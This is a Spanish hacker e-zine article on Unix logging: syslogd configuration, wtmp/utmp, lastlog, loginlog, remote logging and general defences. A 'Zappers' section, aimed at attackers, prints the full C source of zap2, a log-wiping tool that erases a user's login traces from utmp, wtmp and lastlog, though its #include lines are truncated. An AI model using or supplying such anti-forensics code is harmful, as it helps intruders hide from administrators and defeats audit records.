-[ 0x04 ]------------------------------------------------------------------- -[ Logs en Unix ]----------------------------------------------------------- -[ blackngel ]------------------------------------------------------SET-28-- @ @ @@@ blackngel_hack@hotmail.com @@@ IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII III @@@@ @ @@@@@ @@@@@ @ @ @@ @ @@@@@ @@@@@ @ III III @ @ @ @ @ @ @ @ @ @ @ @ @ @ III III @@@@@ @ @@@@@ @ @@@ @ @ @ @ @@@ @@@@ @ III III @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ III III @@@@ @@@@@ @ @ @@@@@ @ @ @ @@ @@@@@ @@@@@ @@@@@ III IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII @@@ @@@ @ @ %%%%%%%%%%%%%%%%%%%%%%%% %%%==================%%% %%% LOGS EN UNIX %%% %%%==================%%% %%%%%%%%%%%%%%%%%%%%%%%% "Bienvenidos al mundo de lo real..." ¬@@@@@@@@@@@@@@@ #%***%%%%%%%%%%@ #%*1*%-INDICE-%@ #%***%%%%%%%%%%@ ¬@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&& (@ Indice | TEMA: @) ++++++++++++++++++++++++++++++ ++++++++++++++++++++++++++++++ | 1 | Indice | #------------------------------# | 2 | Prologo | #------------------------------# | 3 | Introduccion | #------------------------------# | 4 | Demonio "syslogd" | | 5 | Logs Habituales | | 6 | Logs Remotos | #------------------------------# | 7 | Zappers | | 8 | Otros | #------------------------------# | 9 | Despedida | |++++++++++++++++++++++++++++++| ¬@@@@@@@@@@@@@@@@ #%***%%%%%%%%%%%@ #%*2*%-PROLOGO-%@ #%***%%%%%%%%%%%@ ¬@@@@@@@@@@@@@@@@ Bueno esta vez me he decidido por dar unos conocimientos basicos sobre la forma que tiene unix en administrar los sucesos que en se realizan, es decir, como trabaja unix o linux no nos olvidemos, a la hora de grabar todo lo que cualquier usuario con acceso o sin el esta haciendo en el sistema. Cabe recordar como siempre que este texto se puede tomar con el punto de tema hacking o desde el punto de tema seguridad. La verdad es que es lo mismo ya que tomado de una forma siempre nos valdra para lo contrario. Por ejemplo, para que lo entendais, se podria decir que si tomais este texto para saber o aprender como proteger vuestro sistema archivando todo lo que en el sucede, le podriamos dar la vuelta, pensando en como un administrador esta protegiendo su sistema y asi tener nosotros mucha mas facilidad de entrar en el y sin dejar huella. Bien pensado se supone que este articulo no deberia de ser muy extenso, sino al contrario, mas bien pequeño, ya que la materia que este tema contiene no es de gran alcance. Por eso mismo aprovecho que este articulo no sera muy largo para adentrarme bastante en cada uno de sus apartados y cuando acabeis este articulo/guia salgais con una buena base sobre el tema, que en fin, esto es lo que a mi mas me interesa. Como no, ahora pondre los sitios donde podreis localizarme y comentarme vuestras dudas, opiniones, ideas o lo que a vosotros mas os apetezca. En serio, no me gusta que nadie se quede con dudas por culpa de una tonteria, me da igual que la duda sea una pequeñez insignificante, cuanto antes la resuelvas mucho mejor y yo estare dispuesto a ello. ====================================================================== ||E-MAIL -->> blackngel_hack@hotmail.com || ||irc.irc-hispano.org -->> #XDHT, #hackers, #newbies, #hack || ====================================================================== Bastantes datos creo no? xD. Mal sera que con esta informacion no me encontreis antes o despues, bueno sin ser que yo este escapando de la policia o de alguna condena judicial xD. En tal caso no estare disponible. Ahora si, por fin, os dejo con el tema que hoy nos ocupa a todos, el cual os he preparado despues de tenerlo yo mas bien que estudiadito. Bueno y decir tambien que esto no es todo, si de verdad quereis ser unos casi expertos en seguridad debereis de seguir buscando informacion colgada por la red y que os pueda servir de ayuda, recuerda que cuanto mas actualizada mejor, ya que este sistema puede tener siempre cambios en un periodo corto de tiempo. Al tema...... ¬@@@@@@@@@@@@@@@@@@@@@ #%***%%%%%%%%%%%%%%%%@ #%*3*%-INTRODUCCION-%@ #%***%%%%%%%%%%%%%%%%@ ¬@@@@@@@@@@@@@@@@@@@@@ Empezaremos definiendo simplemente lo que es un log. Un log, no es mas que un simple archivo en el cual se almacena cierta informacion sobre lo que realiza un usuario en la maquina y los cuales puede observar y estudiar el root para saber todo lo que esta sucediendo en su sistema. Pasemos ahora a analizar las ventajas y desventajas que nos ofrece el sistema unix/linux con su sistema de logeo: Ventajas| --------| Claramente siempre seran mejores las ventajas en este sistema de logeo que sus desventajas. Una de ellas es la de poder detectar a un intruso inmediatamente, o detectar usos sospechosos en el sistema o actos indebidos. Por ello cabe decir que el logeo es una forma de deteccion y no de prevencion ya que sino miramos nuestros logs, cualquier cosa puede estar sucediendo en el sistema sin que nosotros nos demos cuenta. Desventajas| -----------| Se podria decir que hay dos claras desventajas o problemas a la hora de almacenar toda esta informacion en cierta parte "confidencial". 1.- La gran cantidad de datos o informacion que se almacena en un mismo momento, puede llegar a dar lugar a buffer overflows "desbordamientos del buffer". Sino sabeis lo que esto significa descargaros de la red algun manual sobre el tema, porque yo no estoy aqui hoy mas que para explicar lo que nos ocupa, en este caso "Logs en Unix". 2.- Bueno, pues es de saber que los logs hay que mirarlos "a ojo de humano", asi que, tal es la cantidad de informacion y sucesos almacenados en cualquier log, que muchos detalles importantes se nos pueden pasar por alto sin querer, pero eso ya es cosa de la actitud del administrador del sistema y la atencion que a el le preste. 3.- La ultima desventaja de este sistema, es que la colocacion o situacion de los ficheros logisticos pueden variar en cada sistema operativo y su forma de logeo tambien puede cambiar. Pero bueno, los ficheros mas comunes se suelen situar mas o menos en el mismo sitio. ¬@@@@@@@@@@@@@@@@ #%***%%%%%%%%%%%@ #%*4*%-SYSLOGD-%@ #%***%%%%%%%%%%%@ ¬@@@@@@@@@@@@@@@@ Este demonio es el encargado de guardar toda la informacion de lo que esta sucediendo en nuestro sistema, ya sea localmente como remotamente. "Syslogd" se arranca cada vez que nuestro sistema Unix/Linux se inicia. Como no, este demonio esta controlado por un fichero de configuracion que se encuentra en "/etc/syslog.conf". Desde aqui nosotros podemos asignar nuestras propias reglas de logeamiento y ajustar diferentes paramentros. Para los que no tengais Unix o Linux os pondre aqui un ejemplo de este archivo de configuracion para que le echeis un vistazo. _____________________________________________________________________ blackngel:~# cat /etc/syslog.conf #ident "@(#)syslog.conf 1.4 01/03/03 SMI" /* Mandrake 8.1 */ # # syslog configuration file. # # This file is processed by m4 so be careful to quote (`') names # that match m4 reserved words. Also, within ifdef's, arguments # containing commas must be quoted. # *.err;kern.notice;auth.notice /dev/console *.err;kern.debug;daemon.notice;mail.crit /var/adm/messages *.alert;kern.err;daemon.err operator *.alert root *.emerg * # if a non-loghost machine chooses to have authentication messages # sent to the loghost machine, un-comment out the following line: #auth.notice ifdef(`LOGHOST', /var/log/authlog, @loghost) 6.3. EL DEMONIO SYSLOGD 89 mail.debug ifdef(`LOGHOST', /var/log/syslog, @loghost) # # non-loghost machines will use the following lines to cause "user" # log messages to be logged locally. # ifdef(`LOGHOST', , user.err /dev/console user.err /var/adm/messages user.alert `root, operator' user.emerg * ) blackngel:~# _____________________________________________________________________ Decir que las lineas que se encuentran precedidas por el signo "#" no seran interpretadas por el demonio sino que se tomaran como simples comentarios. Me gustaria mucho explicar como poder configurar todo esto a nuestro gusto, pero esto no es lo que hoy me trae aqui. La razon es que este es un articulo de iniciacion para que vayais aprendiendo cositas. ¬@@@@@@@@@@@@@@@@@@@@@@ #%***%%%%%%%%%%%%%%%%%@ #%*5*%-L. HABITUALES-%@ #%***%%%%%%%%%%%%%%%%%@ ¬@@@@@@@@@@@@@@@@@@@@@@ ----------- |wtmp/utmp| ----------- No os equivoqueis son dos logs diferentes, pero como su contenido y finalidad es muy parecido pues los he puesto juntos. Estes se encargan de el control de accesos de usuarios, grabando la hora de acceso, desde donde, cuando, y un largo etc. Importante: Estes logs generan un archivo binario y no se puede leer con un simple cat. Para ver su informacion tendremos que hacer uso del comando "last". Esta informacion esta basada en una estructura, con unos simples conocimientos del lenguaje C, podremos utilizarla para hacer nuestro propio lector de wtmps o utmps. (Es muy facil). ------ |Acct| ------ Este log es realmente importante. Se encarga de grabar todos los comandos que ejecutamos en la maquina, pero no su resultado, "solo" los comandos!!. Aunque parezca mentira, debido a la seguridad que tienen que tener muchos sistemas, este log esta muchas veces desactivado por la gran informacion que guarda y los recursos del sistema que este utiliza. A la gente no le gusta que se produzcan negaciones de servicio en sus sistemas por falta de recursos. ---------- |messages| ---------- Aunque tambien esta controlado por el demonio anterior, este log esta mas destinado a dar informacion sobre programas o arranque del sistema, que de avisar de sucesos importantes. -------- |syslog| -------- Es uno de los mas importantes, esta controlado por el demonio syslog, por ello, la informacion contenida en este dependera de la configuracion de este demonio. En el se guarda bastante informacion con respecto a los accesos a diferentes servicios y cosas del estilo. --------- |lastlog| --------- Muy simple, este es otro archivo binario, que contiene la ultima hora y fecha de acceso de cualquier usuario. Muchas veces cuando nos conectamos a un sistema en el cual tenemos una shell nos da la bienvenida diciendonos estos datos, pues igual que lo vemos nosotros, tambien lo puede ver el root del sistema para saber mas cosas nuestras. Suele ser modificado por intrusos para que no se sepa cuando fue la ultima vez que accedieron al sistema. ---------- |loginlog| ---------- Y ya por ultimo, uno muy importante para mi. Este se encarga de registrar todos los intentos de login (acceso) fallidos, en caso de que se hayan realizado cierto numero de intentos seguidos y sin resultados optimos. Este numero de intentos se puede modificar cambiando el valor de la entrada 'RETRIES' del archivo /etc/default/login al nº que tu desees. Cuando el root vea esto puede empezar a mosquearse e ir en nuestra busqueda, cosa no muy beneficiosa para nosotros. ¬@@@@@@@@@@@@@@@@@@@ #%***%%%%%%%%%%%%%%@ #%*6*%-L. REMOTOS-%@ #%***%%%%%%%%%%%%%%@ ¬@@@@@@@@@@@@@@@@@@@ Tampoco hay mucho que decir en este apartado. Nada mas que si nuestra maquina se puede ver gravemente comprometida por un ataje ajeno en el que tambien pueden resultar modificados nuestros logs, pues el demonio "syslogd" nos permite la grandiosa opcion de guardar nuestros registros de logs en una maquina remota. Con esto conseguimos, que si nuestra maquina se ve afectada, tendremos mucha informacion sobre todo lo que ha pasado en una segunda maquina que en un principio es desconocida por el atacante, la cual le puede llevar a un mal paradero. Como ya dije antes, quizas mas adelante explique como se realizan todos estes procesos. ¬@@@@@@@@@@@@@@@@ #%***%%%%%%%%%%%@ #%*7*%-ZAPPERS-%@ #%*%%%%%%%%%%%%%@ ¬@@@@@@@@@@@@@@@@ Esta ultima parte la pongo para los que se hayan tomado este articulo desde el punto de vista "hacker". Los zappers, mas conocidos como "limpia huellas", no son mas que simples programitas que se encargan de borrar toda la informacion de los logs que pueda comprometer a la caza de cierto usuario, en este caso nosotros (el atacante). Estes programas no tienen ninguna ciencia generalmente se ejecutan de manera simple como cualquier programa en el sistema UNIX con la unica diferencia de que generalmente tiene que ir acompañado por nuestro nombre de usuario. Ej: "./zapper blackngel" Unos de los mas conocidos hasta el momento y mas utilizados que se encargan de los logs "utmp y wtmp" son el "zap", "zap2" y el "cloack". Para que no os vayais de este articulo un poco contentos, os dejo aqui el codigo fuente del "zap2", para compilarlo supongo que ya sabeis como teneis que hacer, y sino me mandais un e-mail y os lo explico. Aqui os dejo con el fuente: _________________________________________________________________ #include #include #include #include #include #include #include #include #define WTMP_NAME "/usr/adm/wtmp" #define UTMP_NAME "/etc/utmp" #define LASTLOG_NAME "/usr/adm/lastlog" int f; void kill_utmp(who) char *who; { struct utmp utmp_ent; if ((f=open(UTMP_NAME,O_RDWR))>=0) { while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 ) if (!strncmp(utmp_ent.ut_name,who,strlen(who))) { bzero((char *)&utmp_ent,sizeof( utmp_ent )); lseek (f, -(sizeof (utmp_ent)), SEEK_CUR); write (f, &utmp_ent, sizeof (utmp_ent)); } close(f); } } void kill_wtmp(who) char *who; { struct utmp utmp_ent; long pos; pos = 1L; if ((f=open(WTMP_NAME,O_RDWR))>=0) { while(pos != -1L) { lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND); if (read (f, &utmp_ent, sizeof (struct utmp))<0) { pos = -1L; } else { if (!strncmp(utmp_ent.ut_name,who,strlen(who))) { bzero((char *)&utmp_ent,sizeof(struct utmp )); lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND); write (f, &utmp_ent, sizeof (utmp_ent)); pos = -1L; } else pos += 1L; } } close(f); } } void kill_lastlog(who) char *who; { struct passwd *pwd; struct lastlog newll; if ((pwd=getpwnam(who))!=NULL) { if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) { lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0); bzero((char *)&newll,sizeof( newll )); write(f, (char *)&newll, sizeof( newll )); close(f); } } else printf("%s: ?\n",who); } main(argc,argv) int argc; char *argv[]; { if (argc==2) { kill_lastlog(argv[1]); kill_wtmp(argv[1]); kill_utmp(argv[1]); printf("Zap2!\n"); } else printf("Now...that was as bad as shit!\n"); } _________________________________________________________________ Dependiendo de la distribucion del SO en la que se este ejecutando este zaper, tendreis que cambiar los valores de las constantes: WTMP_NAME, UTMP_NAME y LASTLOG_NAME por sus respectivos directorios, nada complicado como podreis comprobar. Por cierto, la verdad, es que la programacion de estas utilidades es realmente sencilla, por ello decir que si alguien le interesa pero no sabe exactamente como funcionan, estare encantado de explicarselo personalmente o incluso si me lo piden hare un articulo dedicado a la programacion de estas cosas sencillas pero tan utiles para todos nosotrosl. Comentar que este zapper tambien se encarga del "lastlog", haciendo asi, que no se sepa cuando fue vuestra ultima conexion al sistema. ¬@@@@@@@@@@@@@@ #%***%%%%%%%%%@ #%*8*%-OTROS-%@ #%***%%%%%%%%%@ ¬@@@@@@@@@@@@@@ Como ultima consideracion decir que este solo es un sistema de proteccion que tiene que estar minimamente implantado en cualquier Sistema Operativo "decente". Por ello, decir que existem muchas mas implementaciones de seguridad que nos pueden ofrecer nuestros sistemas pero que normalmente sera tarea del administrador el utilizarlas o no. Una de ellas es la creacion de backups de la informacion de nuestro sistema, yo lo considero algo verdaderamente importante si los datos que el contiene son de una importancia media/alta. Estas copias de seguridad se pueden guardar tanto en un simple CD-ROM como en las mas nuevas tecnologias de cintas magneticas de 8mm y 4mm. Por otro lado tambien tenemos los firewalls (cortafuegos) que nos proporcionaran muchas mas informacion sobre la entrada a nuestros sitemas y hacen uso de sus propios logs que nos tendremos que encargar de revisar adecuadamente. Y como ultimo metodo y que ahora mismo esta muy de moda son los IDS (Detectores de Intrusos), que utilizan tecnicas bastante avanzadas y que tendria un sin fin de ramas por donde ir explicando. Todos estos son realmente temas muy interesantes y os lo dejo a vosotros como opcion para investigar... El que quiera llegar a algo lo hara y el que no... ¬@@@@@@@@@@@@@@@@@@ #%***%%%%%%%%%%%%%@ #%*9*%-DESPEDIDA-%@ #%***%%%%%%%%%%%%%@ ¬@@@@@@@@@@@@@@@@@@ Otra vez mas, me despido de nuevo como siempre con la sonrisa en la boca creyendo que con esto tambien os he hecho aprender algo mas y que mis conocimientos y estudios por lo menos estan valiendo para algo. Como ya son muchas mis despedidas, paso de enrollarme y solo deciros como siempre, que para cualquier duda u opinion me envieis un e-mail a mi direccion de correo "blackngel_hack@hotmail.com". *EOF*